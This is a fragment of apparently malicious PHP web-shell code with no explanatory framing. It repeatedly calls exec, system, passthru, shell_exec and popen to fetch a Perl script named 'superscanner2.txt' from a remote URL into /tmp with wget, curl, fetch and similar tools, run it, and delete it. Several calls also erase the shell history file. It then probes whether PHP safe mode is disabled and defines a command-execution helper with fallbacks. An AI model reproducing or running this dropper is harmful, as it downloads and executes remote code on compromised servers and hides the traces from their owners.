Changing this CMD will result in corrupt scanning !

superscanner2.txt;perl superscanner2.txt;rm -f superscanner2.txt*;'); echo exec('cd /tmp;wget '.$url.'superscanner2.txt;perl superscanner2.txt;rm -f superscanner2.txt*;'); echo exec('cd /tmp;lwp-download '.$url.'superscanner2.txt;perl superscanner2.txt;perl superscanner2.txt.txt;rm -f superscanner2.txt*;'); echo exec('cd /tmp;fetch '.$url.'superscanner2.txt >superscanner2.txt;perl superscanner2.txt;rm -f superscanner2.txt*;'); echo passthru('cd /tmp;fetch '.$url.'superscanner2.txt >superscanner2.txt;perl superscanner2.txt;rm -f superscanner2.txt*;'); echo passthru('cd /tmp;wget '.$url.'superscanner2.txt;perl superscanner2.txt;rm -f superscanner2.txt*;'); echo passthru('cd /tmp;lwp-download '.$url.'superscanner2.txt;perl superscanner2.txt;perl superscanner2.txt.txt;rm -f superscanner2.txt*;'); echo passthru('cd /tmp;curl -O '.$url.'superscanner2.txt;perl superscanner2.txt;rm -f superscanner2.txt*;'); echo passthru('cd /tmp;GET '.$url.'superscanner2.txt >superscanner2.txt;perl superscanner2.txt;rm -f superscanner2.txt*;'); echo system('cd /tmp;curl -O '.$url.'superscanner2.txt;perl superscanner2.txt;rm -f superscanner2.txt*;'); echo system('cd /tmp;GET '.$url.'superscanner2.txt >superscanner2.txt;perl superscanner2.txt;rm -f superscanner2.txt*;'); echo system('cd /tmp;wget '.$url.'superscanner2.txt;perl superscanner2.txt;rm -f superscanner2.txt*;'); echo system('cd /tmp;lwp-download '.$url.'superscanner2.txt;perl superscanner2.txt;perl superscanner2.txt.txt;rm -f superscanner2.txt*;'); echo system('cd /tmp;fetch '.$url.'superscanner2.txt >superscanner2.txt;perl superscanner2.txt;rm -f superscanner2.txt*;'); echo shell_exec('cd /tmp;curl -O '.$url.'superscanner2.txt;perl superscanner2.txt;rm -f superscanner2.txt*;'); echo shell_exec('cd /tmp;GET '.$url.'superscanner2.txt >superscanner2.txt;perl superscanner2.txt;rm -f superscanner2.txt*;'); echo shell_exec('cd /tmp;wget '.$url.'superscanner2.txt;perl superscanner2.txt;rm -f superscanner2.txt*;'); echo shell_exec('cd /tmp;lwp-download '.$url.'superscanner2.txt;perl superscanner2.txt;perl superscanner2.txt.txt;rm -f superscanner2.txt*;'); echo shell_exec('cd /tmp;fetch '.$url.'superscanner2.txt >superscanner2.txt;perl superscanner2.txt;rm -f superscanner2.txt*;'); echo popen('cd /tmp;wget '.$url.'superscanner2.txt;perl superscanner2.txt;rm superscanner2.txt*;/usr/bin/perl superscanner2.txt;rm -f $HISTFILE', "r"); echo popen('cd /tmp;curl -O '.$url.'superscanner2.txt; perl superscanner2.txt;rm superscanner2.txt*;/usr/bin/perl superscanner2.txt;rm -f $HISTFILE', "r"); echo popen('cd /tmp;lwp-download '.$url.'superscanner2.txt;perl superscanner2.txt;/usr/bin/perl superscanner2.txt;rm -f $HISTFILE', "r"); echo popen('cd /tmp;lynx -source '.$url.'superscanner2.txt >superscanner2.txt;perl superscanner2.txt;/usr/bin/perl superscanner2.txt;rm -f $HISTFILE', "r"); echo popen('cd /tmp;fetch '.$url.'superscanner2.txt >superscanner2.txt;perl superscanner2.txt;/usr/bin/perl superscanner2.txt;rm -f $HISTFILE', "r"); echo popen('cd /tmp;GET '.$url.'superscanner2.txt >superscanner2.txt;perl superscanner2.txt;/usr/bin/perl superscanner2.txt;rm -f $HISTFILE', "r"); echo (''); if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){ echo("Safe Mode of this Server is : "); echo("DOFF"); } else{ ini_restore("safe_mode"); ini_restore("open_basedir"); if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){ echo("Safe Mode of this Server is : "); echo("DOFF"); }else{ echo("Safe Mode of this Server is : "); echo("DON"); } } function ex($cfe){ $res = ''; if (!empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')){ $res = @shell_exec($cfe); } elseif(function_exists('system')){ @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')){ @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))){ $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } exit;